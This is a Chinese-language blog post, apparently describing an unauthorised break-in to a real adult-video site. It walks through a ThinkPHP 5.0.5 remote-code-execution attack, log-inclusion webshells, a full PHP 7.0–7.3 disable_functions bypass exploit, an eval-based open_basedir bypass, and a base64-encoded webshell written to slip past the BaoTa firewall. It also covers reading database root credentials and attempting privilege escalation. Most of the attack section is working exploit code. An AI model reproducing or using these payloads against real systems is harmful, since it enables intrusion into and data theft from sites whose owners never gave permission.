对一次宅男网站的渗透
0x00 锁定目标初步尝试
起因是因为云盘,因为有人在云盘群组里面发了某宅男网站链接,闲的无聊,职业病又犯了
打开网站,做了一下简单的信息收集发现是ThinkPHP V5.0.5,通过泄露信息得到网站真实IP
直接使用RCE漏洞,成功执行phpinfo
0x01 初探绕过disable_functions:
准备直接执行命令,弹shell,发现函数被禁用:
看了下disable_functions禁用了以下函数:
拿到shell再说,首先在日志中先写入一句话,然后利用文件包含去包含日志执行代码,大概思路就是这样,先利用报错把一句话写入日志:
因为日志会不断刷新,因此这里需要包含日志重新写入一句话:
成功拿到shell:
经过查找资料,多次尝试以后发现可以通过PHP 7.0 < 7.3 (Unix) - ‘gc’ Disable Functions Bypass:代码脚本:
<?php # PHP 7.0-7.3 disable_functions bypass PoC (*nix only) # # Bug:https://bugs.php.net/bug.php?id=72530 # # This exploit should work on all PHP 7.0-7.3 versions # released as of 04/10/2019, specifically: # # PHP 7.0 - 7.0.33 # PHP 7.1 - 7.1.31 # PHP 7.2 - 7.2.23 # PHP 7.3 - 7.3.10 # # Author: https://github.com/mm0r1 pwn($_GET[123]); function pwn($cmd) { global $abc, $helper; function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >=0; $j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; } function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $i < $m; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = chr($v & 0xff); $v >>= 8; } } function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper->a); if($s != 8) { $leak %= 2 << ($s * 8) - 1; } return $leak; } function parse_elf($base) { $e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28); if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write # handle pie $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $text_size) { $deref = leak($leak); # 'constant' constant check if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = leak($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $text_size) { $deref = leak($leak); # 'bin2hex' constant check if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { # ELF header return $addr; } } } function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6); if($f_name == 0x6d6574737973) { # system return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; } class ryat { var $ryat; var $chtg; function __destruct() { $this->chtg = $this->ryat; $this->ryat = 1; } } class Helper { public $a, $b, $c, $d; } if(stristr(PHP_OS, 'WIN')) { die('This PoC is for *nix systems only.'); } $n_alloc = 10; # increase this value if you get segfaults $contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = str_repeat('A', 79); $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}'; $out = unserialize($poc); gc_collect_cycles(); $v = []; $v[0] = ptr2str(0, 79); unset($v); $abc = $out[2][0]; $helper = new Helper; $helper->b = function ($x) { }; if(strlen($abc) == 79) { die("UAF failed"); } # leaks $closure_handlers = str2ptr($abc, 0); $php_heap = str2ptr($abc, 0x58); $abc_addr = $php_heap - 0xc8; # fake value write($abc, 0x60, 2); write($abc, 0x70, 6); # fake reference write($abc, 0x10, $abc_addr + 0x60); write($abc, 0x18, 0xa); $closure_obj = str2ptr($abc, 0x20); $binary_leak = leak($closure_handlers, 8); if(!($base = get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); } if(!($elf = parse_elf($base))) { die("Couldn't parse ELF header"); } if(!($basic_funcs = get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); } if(!($zif_system = get_system($basic_funcs))) { die("Couldn't get zif_system address"); } # fake closure object $fake_obj_offset = 0xd0; for($i = 0; $i < 0x110; $i += 8) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); } # pwn write($abc, 0x20, $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38, 1, 4); # internal func type write($abc, 0xd0 + 0x68, $zif_system); # internal func handler ($helper->b)($cmd); exit(); }
上传代码脚本到目标服务器上,成功执行set
0x02 深入绕过open_basedir:
发现目标不能访问根目录,查看一下phpinfo发现open_basedir函数限制了访问目录:
使用代码:
<?php echo 'open_basedir: '.ini_get('open_basedir').'<br>'; echo 'GET: '.$_GET['c'].'<br>'; eval($_GET['c']); echo 'open_basedir: '.ini_get('open_basedir'); ?>
成功突破目录限制:
通过敏感信息收集读取到日志文件,发现目标存在phpmyadmin:
得到目录phpmyadmin路径后判断出目标使用了宝塔,宝塔一般默认把phpmyadmin搭建在888端口上面:
找到数据库密码,登录之:
80多万访问IP这网站有点逆天,播放次数那么多的那位老哥,注意身体啊,由于MySQL权限不够,于是不考虑继续利用MySQL:
0x03 再探绕过宝塔防火墙:
由于某些原因,渗透搁置了一段时间,再次来看的时候发现马被删除了,重新拿shell的时候发现对方开了宝塔的防火墙
怎么办,不能怂,继续怼它,对宝塔返回信息判断,应该是只对传入的参数做了判断,判断是否有敏感函数,并没有对文件内容做验证,修改了下exp,在次成功写入shell:
访问:http://XXXXX/12345678.php就会在根目录下生成2222222.php文件
2222222.php的文件内容
//把参数以base64形式传入,然后解嘛,这样就能绕过宝塔对参数的检测 <?php eval(base64_decode($_GET[1337])); ?>
代码执行成功:
看了下时间,半夜2点了,睡觉了,第二天还要上班,于是关掉了电脑,下班后,继续打开网站,发现网站漏洞不能利用了,一下子开始发慌了:
冷静一下,想其他办法,一般这样的网站都不止一个ip,扫一下c段看看有没有收获,最终发现隔壁ip(xxx.xxx.xxx.42)和目标(xxx.xxx.xxx.43)一模一样,此ip开启了dubug可以存在漏洞,于是直接搞:
查看一下以root用户运行的进程发现MySQL是root权限运行:
通过查看mysqld_safe 的配置文件(/etc/my.cnf)发现root用户密码:
尝试了UDF提权,root用户登录phpmyadmin,看下MySQL版本5.6.47-log
在看下/www/server/mysql/lib/plugin目录权限,不可写,放弃udf提权:
打算劫持来提权的,但是发现www用户是nologin用户,不存在自己的家目录,也没有.bash_profile这个文件,所以劫持不了命令了
可惜了,最终尝试了多种提权方法都失败了,但在整个渗透的过程中,还是有比较多值得回味的过程,因此写下了这篇文章,希望能给大家更多的启发。
本文知识点:
1.通过thinkphp5.0*代码执行漏洞包含日志文件拿shell
2.绕过disable_functions禁用函数
3.绕过open_basedir目录限制
4.绕过宝塔防火墙
最后如果大佬们有好的提权方法,私聊我哦~
相关文章
- 3条评论
- 绿邪旧竹2022-05-27 19:59:29
- return $leak; } function parse_elf($base) { $e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x2
- 语酌玖橘2022-05-28 06:34:52
- } return $address; } function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $
- 掩吻里予2022-05-27 23:58:21
- } } } function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr);